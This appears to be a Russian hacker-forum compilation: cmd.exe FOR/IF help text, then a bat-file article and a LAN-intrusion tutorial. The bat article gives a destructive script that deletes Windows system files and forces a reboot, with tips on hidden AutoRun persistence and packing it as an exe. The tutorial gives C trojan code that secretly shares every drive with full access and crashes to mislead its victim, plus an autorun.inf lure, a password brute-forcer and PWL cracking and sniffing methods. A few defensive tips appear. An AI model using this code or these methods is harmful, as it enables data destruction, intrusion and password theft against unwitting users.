    подкаталогов этого пути.  Если после ключа /R не указано имя каталога,

    выполнение команды начинается с текущего каталога.

    Если вместо набора указана только точка (.), команда выводит список

    всех подкаталогов.

FOR /L %переменная IN (начало,шаг,конец) DO команда [параметры]

    Набор раскрывается в последовательность чисел с заданными началом, концом

    и шагом приращения.  Так, набор (1,1,5) раскрывается в (1 2 3 4 5),

    а набор (5,-1,1) заменяется на (5 4 3 2 1)

FOR /F ["ключи"] %переменная IN (набор) DO команда [параметры]

FOR /F ["options"] %variable IN ("literal string") DO command [command-parameters]

FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

    или, если использован параметр usebackq:

FOR /F ["options"] %variable IN (filenameset) DO command [command-parameters]

FOR /F ["options"] %variable IN ('literal string') DO command [command-parameters]

FOR /F ["options"] %variable IN (`command`) DO command [command-parameters]

    Набор содержит имена одного или нескольких файлов, которые по очереди

    открываются, читаются и обрабатываются. Обработка состоит в чтении

    файла, разбивки его на отдельные строки текста и выделения из каждой

    строки заданного числа подстрок (в том числе нуля). Затем найденная

    подстрока используется в качестве значения переменной при выполнении

    основного тела цикла. По умолчанию ключ /F выделяет из каждой строки файла

    первое слово, очищенное от окружающих его пробелов. Пустые строки

    в файле пропускаются. Необязательный параметры "ключи" служит для

    переопределения заданных по умолчанию правил обработки строк. Ключи

    представляют собой заключенную в кавычки строку, содержащую указанные

    параметры. Ключевые слова:

        eol=c           - определение символа комментариев в конце строки

                          (допускается задание только одного символа).

        skip=n          - число пропускаемых при обработке строк в начале

                          файла.

        delims=xxx      - определение набора разделителей для замены заданных

                          по умолчанию пробела и знака табуляции.

        tokens=x,y,m-n  - определение номеров подстрок, выделяемых из каждой

                          строки файла и передаваемых для выполнения в тело

                          цикла.  При использовании этого ключа создаются

                          дополнительные переменные.  Формат m-n представляет

                          собой диапазон подстрок с номерами от m по n.  Если

                          последний символ в строке tokens= является

                          звездочкой, создается дополнительная переменная,

                          значением которой будет весь оставшийся текст в

                          строке после обработки последней подстроки.

        usebackq        - применение новой семантики, при которой строки,

                          заключенные в обратные кавычки, выполняются как

                          команды, строки, заключенные в прямые одиночные

                          кавычки, являются строкой литералов команды, а

                          строки, заключенные в двойные кавычки, используются

                          для выделения имен файлов в списках имен файлов.

  Поясняющий пример:

  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k

    эта команда обрабатывает файл myfile.txt, пропускает все строки, которые

    начинаются с символа точки с запятой, и передает вторую и третью подстроки

    из каждой строки в тело цикла, причем подстроки разделяются запятыми и/или

    пробелами. В теле цикла переменная %i используется для второй подстроки,

    %j - для третьей, а %k получает все оставшиеся подстроки после третьей.

    Имена файлов, содержащие пробелы, необходимо заключать в двойные кавычки.

    Для того чтобы использовать двойные кавычки, необходимо использовать

    параметр usebackq, иначе двойные кавычки будут восприняты как границы

    строки для обработки.

    Переменная %i явно описана в инструкции for, а переменные %j и %k

    описываются неявно с помощью ключа tokens=. Ключ tokens= позволяет извлечь

    из одной строки файла до 26 подстрок, при этом, не допускается

    использование переменных больших чем буквы 'z' или 'Z'. Следует помнить,

    что имена переменных FOR являются глобальными, поэтому одновременно не

    может быть активно более 52 переменных.

    Синтаксис команды FOR /F также позволяет обработать отдельную строку,

    с указанием параметра filenameset, заключенным в одиночные кавычки.

    Строка будет обработана как единая строка из входного файла.

    Наконец, команда FOR /F позволяет обработать строку вывода другой команды.

    Для этого следует ввести строку вызова команды в апострофах вместо набора

    имен файлов в скобках. Строка передается для выполнения обработчику

    команд CMD.EXE, а вывод этой команды записывается в память и

    обрабатывается так, как будто строка вывода взята из файла. Например,

    следующая команда:

      FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    выведет перечень имен всех переменных среды, определенных в настоящее

    время в системе.

Операции подстановки ссылок на переменные команды FOR также расширены.

Допускается применение следующих синтаксических конструкций:

    %~I         - из переменной %I удаляются обрамляющие кавычки (")

    %~fI        - переменная %I расширяется до полного имени файла

    %~dI        - из переменной %I выделяется только имя диска

    %~pI        - из переменной %I выделяется только путь к файлу

    %~nI        - из переменной %I выделяется только имя файла

    %~xI        - из переменной %I выделяется расширение имени файла

    %~sI        - полученный путь содержит только короткие имена

    %~aI        - переменная %I расширяется до атрибутов файла

    %~tI        - переменная %I расширяется до даты /времени файла

    %~zI        - переменная %I расширяется до размера файла

    %~$PATH:I   - проводится поиск по каталогам, заданным в переменной

                   среды PATH, и переменная %I заменяется на полное

                   имя первого найденного файла.  Если переменная PATH

                   не определена или в результате поиска не найден ни

                   ни один файл, то этот модификатор заменяется на пустую

                   строку

При объединении нескольких операторов можно получить следующие результаты:

    %~dpI       - переменная %I заменяется только на имя диска и путь

    %~nxI       - переменная %I заменяется только на имя файла и его

                   расширение

    %~fsI       - переменная %I заменяется только на полный путь с

                   краткими именами

    %~dp$PATH:I - проводится поиск по каталогам, заданным в переменной

                   среды PATH, и переменная %I заменяется на имя диска

                   и путь к первому найденному файлу.

    %~ftzaI     - переменная %I заменяется на строку, выдаваемую

                   командой DIR

В приведенных выше примерах переменные %I и PATH можно заменить на

любые другие допустимые значения. В таких синтаксических конструкциях

за символами %~ может следовать любое имя переменной цикла FOR.

Рекомендуется использовать заглавные буквы для имен таких переменных,

например, %I, что делает их более заметными, а также позволяет отличать

их от обозначений модификаторов, которые не различают используемый регистр.


Оператор условного выполнения команд в пакетном файле.

IF [NOT] ERRORLEVEL число команда

IF [NOT] строка1==строка2 команда

IF [NOT] EXIST имя_файла команда

  NOT               Обращает истинность условия: истинное условие

                    становится ложным, а ложное - истинным.

  ERRORLEVEL число  Условие является истинным, если код возврата последней

                    выполненной программы не меньше указанного числа.

  строка1==строка2  Это условие является истинным, если указанные строки

                    совпадают.

  EXIST имя_файла   Это условие является истинным, если файл с указанным

                    именем существует.

  команда           Задает команду, выполняемую при истинности условия.

                    За этой командой может следовать ключевое слово ELSE,

                    служащее для указания команды, которая должна

                    выполняться в том случае, если условие ложно.

Предложение ELSE должно располагаться в той же строке, что и команда,

следующая за ключевым словом IF.  Например:

    IF EXIST имя_файла. (

        del имя_файла.

    ) ELSE (

        echo имя_файла. missing.

    )

Следующий пример содержит ОШИБКУ, поскольку команда del должна

заканчиваться переходом на новую строку:

    IF EXIST имя_файла. del имя_файла. ELSE echo имя_файла. missing

Следующий пример также содержит ОШИБКУ, поскольку команда ELSE должна

Располагаться в той же строке, что и команда, следующая за IF:

    IF EXIST имя_файла. del имя_файла.

    ELSE echo имя_файла. missing

Вот правильный пример, где все команды расположены в одной строке:

    IF EXIST имя_файла. (del имя_файла.) ELSE echo имя_файла. missing

Изменение команды IF при включении расширенной обработки команд:

    IF [/I] строка1 оператор_сравнения строка2 команда

    IF CMDEXTVERSION число команда

    IF DEFINED переменная команда

где оператор_сравнения принимает следующие значения:

    EQL - равно

    NEQ - не равно

    LSS - меньше

    LEQ - меньше или равно

    GTR - больше

    GEQ - больше или равно

а ключ /I, если он указан, задает сравнение текстовых строк без учета регистра.  Ключ /I можно также использовать и в форме строка1==строка2 команды IF.  Сравнения проводятся по общему типу данных, так что если строки 1 и 2 содержат только цифры, то обе строки преобразуются в числа, после чего выполняется сравнение чисел. Условие CMDEXTVERSION применяется подобно условию ERRORLEVEL, но значение сравнивается с внутренним номером версии текущей реализации расширенной обработки команд.  Первая версия имеет номер 1.  Номер версии будет увеличиваться на единицу при каждом добавлении существенных возможностей расширенной обработки команд.  Если расширенная обработка команд отключена, условие CMDEXTVERSION никогда не бывает истинно. Условие DEFINED применяется подобно условию EXISTS, но принимает в качестве аргумента имя переменной среды и возвращает истинное значение, если эта переменная определена. Строка %ERRORLEVEL% будет развернута в строковое представление текущего значения кода ошибки ERRORLEVEL, за исключением ситуации, когда уже имеется переменная среды с именем ERRORLEVEL;  в подобном случае подставляется значение этой переменной.  Например, с помощью данной строки можно выполнить следующее:

    goto answer%ERRORLEVEL%

    :answer0

    echo Получен код возврата0

    :answer1

    echo Получен код возврата 1

Допускается и применение описанных выше операторов числового сравнения:

    IF %ERRORLEVEL% LEQ 1 goto okay

Строка %CMDCMDLINE% будет развернута в исходную командную строку, переданную

CMD.EXE до любой обработки, за исключением ситуации, когда уже определена

переменная среды с именем CMDCMDLINE,  в подобном случае подставляется

значение этой переменной.

Строка %CMDEXTVERSION% будет развернута в строку, представляющую собой

текущее значение CMDEXTVERSION, за исключением ситуации, когда уже имеется

переменная среды с именем CMDEXTVERSION;  в подобном случае подставляется

значение этой переменной.


В интернете полно статей на подобную тему, но интерес к командной строке всё ещё не пропал. То и дело в сети появляются справочники, руководства, и конечно же примеры bat вирусов. И во многих случаях описываются лишь стандартные команды. Введите help в батнике и вы получите их небольшой список. Каждую новую для себя команду (хотя не такие уж они и новые) встречают с большим воодушевлением.

Ведь для создания batников не требуется никаких компиляторов, всё что нужно это винда и прямые руки... Самый полный справочник с описанием cmd.exe находится тут - папка Windows/Help/ntcmds.chm .

Обычный файл справки, просматриваемый стандартным средством операционки hh.exe. Также для вывода справки можно использовать меню Выполнить - hh ntcmds.chm . Для тех кто не в курсе любую программу из папки Windows можно запустить из этого меню не указывая пути и расширения файла.

Например, когда мы набираем "cmd" в системной папке ищется файл "cmd.exe" , находится в папке system32 и выполняется. Там находится полный список команд, включая и устаревшие (работающие только в Ms Dos), полезные сведения и советы по настройке.

Все команды расположены в алфавитном порядке, и в одну статью вряд ли поместятся. Так что смотрите у себя на компе. Настройка Запускаем командную строку, видим её значок в левом верхнем углу окна, правый клик мыши по нему и в открывшемся меню выбираем Свойства. Здесь мы можем настраивать cmd как угодно.

На вкладке Общие можно поменять размер курсора, размер буфера, режим отображения и разрешить или запретить выделение мышью. Полезная кстати вещь:) Далее идёт вкладка настройки шрифта, размеров окна и цвета. Если вам когда нибудь надоедали белые буквы на тёмном фоне, то их запросто можно поменять например на зелёные. Теперь о реестре - куда ж без него?

 

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor]: Никаких новых параметров нет за исключением одного - AutoRun. Любая программа указанная там будет выполнятся каждый раз при запуске командной строки. Я никогда раньше не встречал такого способа автозапуска, возможно кому нибудь это пригодится. Шансы того что вашу прогу запалят практически нулевые.

[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Environment]: Здесь параметры некоторых переменных.

 

Список стандартных переменных:

%os% Имя системы

%windir% Путь к папке Windows

%systemdrive% Путь к системному диску

%programfiles% Путь к Program Files

%temp% Путь к временной папке

%tmp% То же что и %temp%

%allusersprofile% Путь к папкеAll users

%appdata% Путь к папке Application Data для текущего пользователя

%userprofile% Путь к папке с документами и настройками текущего пользователя

%path% Показывает стандартные системные пути. Многие проги любят менять значение этой переменной, добавляя туда путь своей рабочей папки

%pathext% Показывает стандартные расширения

%comspec% Путь к самому интерпретатору командной строки cmd.exe

%number_of_processors% Выводит количество прцессоров установленных в системе

%processor_architecture% Выводит что то наподобие x86

%processor_identifier% Технические характеристики процессора

 

Всё это можно вывести на экран. Например "echo %windir%".

 

Теперь список некоторых полезных команд:

 

Assoc - Выводит список всех расширений и программ с ними сопоставленных. "Assoc .exe = .gif" заставит систему считать все программы файлами изображений

Date [нужная дата} - Меняет системную дату

Driverquery - Выводит список всех установленных драйверов

Ftype .расширение = команда - Установка программы или команды, которая будет выполнятся при

Getmac - Выводит mac адрес компьютера

Hostname - Выводит имя узла

Ipconfig - Параметры протокола и сетевых адаптеров

Nbtstat - Вывод статистики протокола Netbios

Net - Содержит много параметров для работы с сетью

Netstat - Выводит на экран все активные в данный момент подключения

Nslookup адрес узла - Вывод доменного имени заданного узла

Reg подкоманды - Работа с реестром

Tasklist - Вывести список всех процессов

Taskkill - Убить процесс по Pid или имени

 

Насчёт вирусов.

Bat вирусы настолько мало распространены, что их список состоит из всего нескольких десятков и

подхватить где нибудь эдакую "заразу" весьма проблематично.

Но некоторые антивирусные компании всё же добавили сигнатуры в свои базы, видимо с желанием подзаработать.

Вот например строчка "for %a in (%windir%*.*) do echo %0 >> %a" палится как вирус... Как же запаковать bat файлы?

Можно создать sfx архив с помощью WinRara, поставив вашу прогу на автозапуск после распаковки и отключив визуальное окно потверждения и выбора пути для распаковки. Есть даже специальные проги для этого, например Quick Batch File Compiler. В итоге получаем обычный exeшник. Ставим для него иконку получше, сжимаем упаковщиком и наш вирь готов.

 

Для примера (и только для примера!) могу привести пример такого заподла, сочиненного на скорую руку:

 

Код:

"

@echo off - запрещаем вывод команд на экран, в том числе и результатов их выполнения.

color 40 - делаем фон файла красным, а буквы чёрными.

label LAMER - команда label указанная без параметров переименовывает системный диск на заданное слово.

attrib -s -r -h -a %systemdrive%*.* - снимаем системные атрибуты с некоторых файлов.

erase %windir%*.* /q - банальное удаление файлов.

erase %windir%system32*.* /q - банальное удаление файлов, хотя винду снесёт без проблем.

erase %systemdrive%*.* /q - удаление системно важных скрытых файлов на системном диске. Хотя чтобы винда больше не запустилась никаким образом достаточно удалить файл ntldr и перегрузиться.

regedit (путь к вашему файлу) - Добавляем информацию с вашего .reg файла в реестр. Существует ещё и команда reg с параметрами, но иногда проще создать отдельный .reg файл. Здесь фантазии может быть много...

echo текст >(>>) файл - Добавляем записи в файл. Знак > создаёт новый файл с заданным текстом, >> добавляет уже в существующий файл.

shutdown -r -f - Принудительно перезагружаем комп, несмотря на протесты системы.

"

 

Это были лишь заготовки, а насколько серьёзно вы будете модифицировать реестр или изменять файлы зависит от вас. На этом статья подходит к концу, так как тема bat файлов исчерпана полностью. Больше чем команд в стандартном описании найти невозможно. Считайте файл ntcmds.chm дополнением к статье. Спасибо за внимание

 

Sploit - http://stop.hak.su/

====================================================================

Tехнология взлома больших локальных сетей

Введение.

В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем.

Итак, мы в сети.

Поставим себя на место человека, которому все очень интересно...

И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные "шары", доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться...

Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам.

Для машин, где используется для доступа в Internet модем, это обычно так:

(прим.: реальные пароли я забил знаком "X")

(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)

~~~~~~~~~~~~~~

¦ Enter the User Password:

File '1.PWL' has size 948 bytes, version [W95osr2_Win98]

for user '1' with password '' contains:

-[Type]-[The resource location string]--------------[Password]-

Dial *Rna\My Connection\ZZ-top XXXXXXX

Dial *Rna\My Connection\ZZ-TOP XXXXXXX

Dial *Rna\My Connection\ZZTOP XXXXXXX

Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX

Dial *Rna\TiNET 2\ZZTOP XXXXXXX

Dial *Rna\TiNET\neoxars XXXXXXX

Dial *Rna\TiNET\NeoXars XXXXXXX

---------------------------------------------------------------

¦ Indexed Entryes: 1; Number of resources: 7.

Для машин, работающих в локальных сетях, например, так:

File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]

for user 'SANJA' with password 'QUAKE' contains:

-[Type]-[The resource location string]--------------[Password]-

Link ASH\EMAIL XXXXXX

Link ASH\INTERNET XXXXXX

Link ASH\RED XXXXXX

Link ASH\TI_UART

Dial ! crypt_Blizzard_Storm XXXXX

Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX

MAPI MAPI MAPI

---------------------------------------------------------------

_ Indexed Entryes: 4; Number of resources: 7.

Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет.

Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики. Хотя это не спасает от тех, кто знает свое дело. Ведь на запрос о предоставлении списка доступных ресурсов система выдает полный список, включая и "невидимые" ресурсы. Фильтруются они уже локально. Поэтому, существует возможность воспользоваться предназначенными для этого программами, хотя бы юниксовым SMB-клиентом. А еще проще - запустите сниффер, поймайте ответ от сервера и посмотрите на него. А заставить удаленный хост прислать вам список доступных ресурсов можно командой "net view \\comp_name"

Продолжим исследование.

Итак, что мы еще можем сделать? Вот пример: Набираем что-то типа nbtstat -a 192.168.20.30. Получаем примерно такой результат:

---------------------------------------------------------------------

Имя Тип Состояние

----------------------------------------------------

TOLIK <00> UNIQUE Зарегистрирован

TO-31 <00> GROUP Зарегистрирован

TOLIK <03> UNIQUE Зарегистрирован

TOLIK <20> UNIQUE Зарегистрирован

TO-31 <1E> GROUP Зарегистрирован

TO-31 <1D> UNIQUE Зарегистрирован

..__MSBROWSE__.<01> GROUP Зарегистрирован

Адрес платы (MAC) = 00-00-21-1F-E5-92

---------------------------------------------------------------------

Что мы видим?

Workstation Service = TOLIK

Domain Name = TO-31

Messenger Service = TOLIK (т.е. можно туда отсылать сообщенияnet send TOLIK "...") Это имя пользователя, вошедшего в систему

File Server Service = TOLIK

Browser Service Elections = TO-31

Master Browser = TO-31

MAC адресс сетевой карты.

Это самое малое, что может показать эта команда. При наличии дополнительных сервисов на исследуемой машине будет выдано гораздо больше информации. Из нее обычно можно узнать имя пользователя, зашедшего в систему, домен/раб.гр и т.д.) Расшифровку можно получать из следующей таблицы:

Name Number Type Usage

================================================== ==============

computername 00 U Workstation Service

computername 01 U Messenger Service

\\_MSBROWSE_ 01 G Master Browser

computername 03 U Messenger Service

computername 06 U RAS Server Service

computername 1F U NetDDE Service

computername 20 U File Server Service

computername 21 U RAS Client Service

computername 22 U Exchange Interchange

computername 23 U Exchange Store

computername 24 U Exchange Directory

computername 30 U Modem Sharing Server Service

computername 31 U Modem Sharing Client Service

computername 43 U SMS Client Remote Control

computername 44 U SMS Admin Remote Control Tool

computername 45 U SMS Client Remote Chat

computername 46 U SMS Client Remote Transfer

computername 4C U DEC Pathworks TCPIP Service

computername 52 U DEC Pathworks TCPIP Service

computername 87 U Exchange MTA

computername 6A U Exchange IMC

computername BE U Network Monitor Agent

computername BF U Network Monitor Apps

username 03 U Messenger Service

domain 00 G Domain Name

domain 1B U Domain Master Browser

domain 1C G Domain Controllers

domain 1D U Master Browser

domain 1E G Browser Service Elections

INet~Services 1C G Internet Information Server

IS~Computer_name 00 U Internet Information Server

computername [2B] U Lotus Notes Server

IRISMULTICAST [2F] G Lotus Notes

IRISNAMESERVER [33] G Lotus Notes

Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

----------------------------------------------------------------

Немного творчества.

Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит. Конечно, можно было бы еще долго и нудно рассказывать о троянизации, маскировании под must-have файлы, но я этого делать не буду. Это уже относится к психологии.

Вот что я написал для демонстрации данного метода.

(Для того, чтобы кто попало не компилировал, я не даю полный листинг)

---------------------------------------------------------------------

share_info_50 shinfo50;

ZeroMemory(&shinfo50,sizeof(shinfo50));

shinfo50.shi50_type=STYPE_DISKTREE;

shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;

shinfo50.shi50_remark="";

// Расшариваем1-й диск

lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);

shinfo50.shi50_path="C:\\";

NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

// Расшариваем2-й диск

lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);

shinfo50.shi50_path="D:\\";

NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

// Расшариваем3-й диск

lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);

shinfo50.shi50_path="E:\\";

NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

FillMemory((VOID*)0xFFFFFFFF,1,0);

// А это для того, чтобы программа вылетела "в трубу", и

// пользователь подумал, что это просто сбой в системе. (но это

// не обязательно)

// P.S. Все это только для Win95/98/Me. Для NT нужно немного

// модифицировать.

---------------------------------------------------------------------

Теперь на жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что:

1) Мы имеем полный доступ.

2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен.

3) Шара не будет видна всем в сети.

Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидели файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделеHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Network\LanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались.

Хотелось бы еще упомянуть о возможности "заставить" пользователя запустить программу, даже не подозревая об этом, если у вас есть доступ на запись в корень диска. Этот медот основан на использовании файлов autorun.inf. (Работает метод на Win9x) Они присутствуют на большинстве CD-дисков. Вот пример такого файла:

[autorun]

open=autorun.exe

icon=autorun.exe

Нам достаточно лишь строчки "open", где мы записываем имя программы, которая должна выполниться. Кладем этот файл в корне доступного на запись диска и ждем, пока кто-нибудь не нажмет "Мой компьютер --> Диск E:". К счастью(не для всех...), в Win2000 так сделать не удастся. Если файл autorun.inf лежит на жестком диске - он просто игнорируется системой.

Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only):

----------------------------------------------------------------------

// на входе параметры - char *resname, char *password

DWORD RetVal;

NETRESOURCE nr;

nr.lpRemoteName=resname;

nr.dwType=RESOURCETYPE_DISK;

RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);

----------------------------------------------------------------------

Немного теории.

При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах.

Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа.

Кстати, о багах. В системах NT4 и Win2k частенько остается непропатченым баг "NetBIOS: Null Session". Путем подстановки NULL вместо имени пользователя и пароля при подключении к сервису IPC$, можно получить доступ к списку зарегистрированных в системе пользователей, расшаренных ресурсов и др.. Устранить это можно занесением значения "1" в ключ реестра "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ LSA Name: RestrictAnonymous "

Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB:

Используемый протокол: IP. Все системы - IP/TCP/Netbios/SMB

Используемый протокол: IPX. NT - IPX/Netbios/SMB. Win9x (default) IPX(:NMPI)/SMB

А теперь послушаем...

Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент "TCP_LOGGER"). На смену им пришли "ssh", "apop" и подобные, но полный переход на новые протоколы еще займет немало времени. Но все же, уже нельзя, как раньше, легко перехватывать пароли на SMB сессии. Они перестали передаваться в открытом виде. Эта проблема была в диалектах "LANMAN1.0" и др., а в более поздних, таких как "LANMAN2.1" и "NT LM 0.12" и используется шифрование пароля ключом, сгенерированным сервером, и по сети передается лишь hash-значение. Это, конечно, затрудняет взлом, но не делает его невозможным. Ведь затем можно попытаться подобрать пароль, перебирая возможные пароли и накладывая на него ключ сервера, сравнивая результат с имеющимся. При наличии быстрой машины и большого объема оперативной памяти, можно добиться очень высоких показателей скорости перебора.

Приведу еще другой пример. Допустим, в вашем сегменте стоят машины с NT. Берем программу L0phtCrack и выбираем в меню "sniffing". Теперь она будет прослушивать все сетевые подключения и сохранять протокол в файл. Затем той же программкой и вскрываем их. Пример файла, который получается в результате использования для взлома программы L0phtCrack можно посмотреть здесь.

Какие есть возможности усложнить жизнь взломщику?

Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет (и не только по этой причине). Присвойте элементу типаDWORD "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Lsa \ LMCompatibilityLevel" значение"2".

Во-вторых, путем использования, например, свитчей вместо хабов. Повторители, хаб, коаксиал - это все, что формирует среду, образуя "collision domain". То есть, весь трафик является общим, что позволяет с любой машины перехватывать все пакеты, передающиеся какой угодно машиной в этом сегменте. В отличие от хаба, порты коммутатора разделяют "collision domain" и образуют "broadcast domain". Он работает с MAC адресами и на ходу стоит "route table". Поэтому пакет, адресованный какой-либо машине, будет передан на соответствующий порт свитча, а на остальных портах никаких событий не произойдет. Но помните(!), если в настойках не заданы жестко все MAC адреса, и свитч на лету обновляет таблицу соответствия интерфейсов портам, то остается возможность обмануть любую машину, послав ложный ARP, или ICMP пакет с сообщением о другом маршруте. Таким образом, мы можем перенаправить трафик на свой порт... более подробно об этом можно почитать в статьях на www.uinc.ru.

К чему все это?

Снова представим себя на месте взломщика.

Что мы можем полезного из всего извлечь? Если жертва имеет выход в Internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/SPX. Я так сам когда-то делал. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно, утянув реестр... Happy browsing!

Маленький словарь.

* Расшаривать - от англ. "share".

* PWL - сокращение "password list file".

* Патч - от англ. "patch" - заплата.

* Сниффинг, сниффер - от англ. "sniff" - нюхать.

* Замэппить - от англ. "map". Перенаправить трафик без изменений с локального порта на удаленный.

====================================================================

Oпознавание удаленной ОС (Fingerprinting)

